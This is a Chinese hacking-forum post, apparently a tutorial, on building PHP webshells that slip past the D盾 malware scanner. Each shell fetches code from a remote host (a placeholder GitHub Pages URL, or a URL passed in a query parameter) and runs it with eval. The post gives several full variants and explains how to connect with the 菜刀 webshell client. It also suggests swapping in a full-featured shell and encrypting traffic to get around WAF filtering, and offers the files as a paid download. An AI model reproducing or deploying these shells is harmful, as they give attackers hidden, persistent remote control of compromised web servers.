找回密码
 立即注册

QQ登录

只需一步,快速开始

一般的php webshell是这样的
<?php @eval($_POST['nie']); ?>
这种webshell有很大的局限性,然后各位大佬就开始了对webshell的各种操作
大部分都是拆分关键词的,文件包含的,双文件上传的,函数回调的。。。
然鹅,有一类免杀技巧却见的很少,但是实战中遇到各种花样webshell都有它的身影。
这就是读取远程文件
php中有几个函数都有调度远程文件的能力
小弟我选取其中三个做了文章。
1,file_get_contents()函数
这是大佬文章中见的比较多的一个函数
我在远程文档中写入
eval($_POST['nie']);
然后webshell就诞生了(我用个giethub的pages所以我直接下面那个地址是我github中的文件,昵称用xxx代替了)
<?php eval(file_get_contents('https://xxx.github.io/shell/common.txt')); ?>
然后d盾直接给我来一句已知后门?
20210723;16;36;11;2077.png


你既然认识这个那我就要把这个变得你不认识,把这玩意拆分开。
<?php
    $nie=file_get_contents('https://xxx.github.io/shell/common.txt');
    eval($nie);
?>
就这样d盾竟然就不认识了?也是离谱。
20210723;16;38;35;4011.png

然后第一种后门我们就写好了
2,fopen()函数
读取加拆分又是轻松免杀
<?php
    $a=fopen('https://xxx.github.io/shell/common.txt','r');
    eval(fgets($a));
    fclose($a);
?>
3,file()函数
file()函数有点小特殊,file()函数是以数组方式读取文件的
那我们加上implode()函数把数组转换为字符就可以了,由于双函数嵌套不需要做拆分。
<?php
    eval(implode(file('https://xxx.github.io/shell/common.txt')));
?>
这三个webshell都可以过轻松d盾查杀
这样被发现容易泄露我们的github地址。那么还有什么更加隐蔽的方法呢?
当然有来看看最终版本
<?php
    $url = $_GET['密码1'];
    $a = fopen($url,'r');
    eval(fgets($a));
    fclose($a);
?>
用法:自定义数字英文密码代替上图密码1
          远程创建文件内容eval($_POST['密码2']);
          菜刀连接方法http://xxx.com/xxx.php?密码1=你远程创建的文件地址
          连接密码写入密码2
20210723;17;01;57;6798.png

图中密码1为url,密码2是nie。

连接成功
20210723;17;02;30;8520.png

你以为这就完了吗?

说明你没有理解远程读取的可怕之处。

随时可以修改远程文件,那么我把远程文件换成大马会怎么样?(忽略图中php版本不兼容问题,记得远程文件要去掉<?php?>)

建议还是用小马,大马的话优先考虑上面三种。

20210723;17;07;44;4444.png

这相当于你拥有了超能力啊

未完待续。。。(远程文件要写数据加密,不然再传输数据时会被狗拦截)

四个打包 bypass.zip (812 Bytes, 下载次数: 0, 售价: 35 K币)
分享至 : QQ空间
收藏

0 个回复

您需要登录后才可以回帖 登录 | 立即注册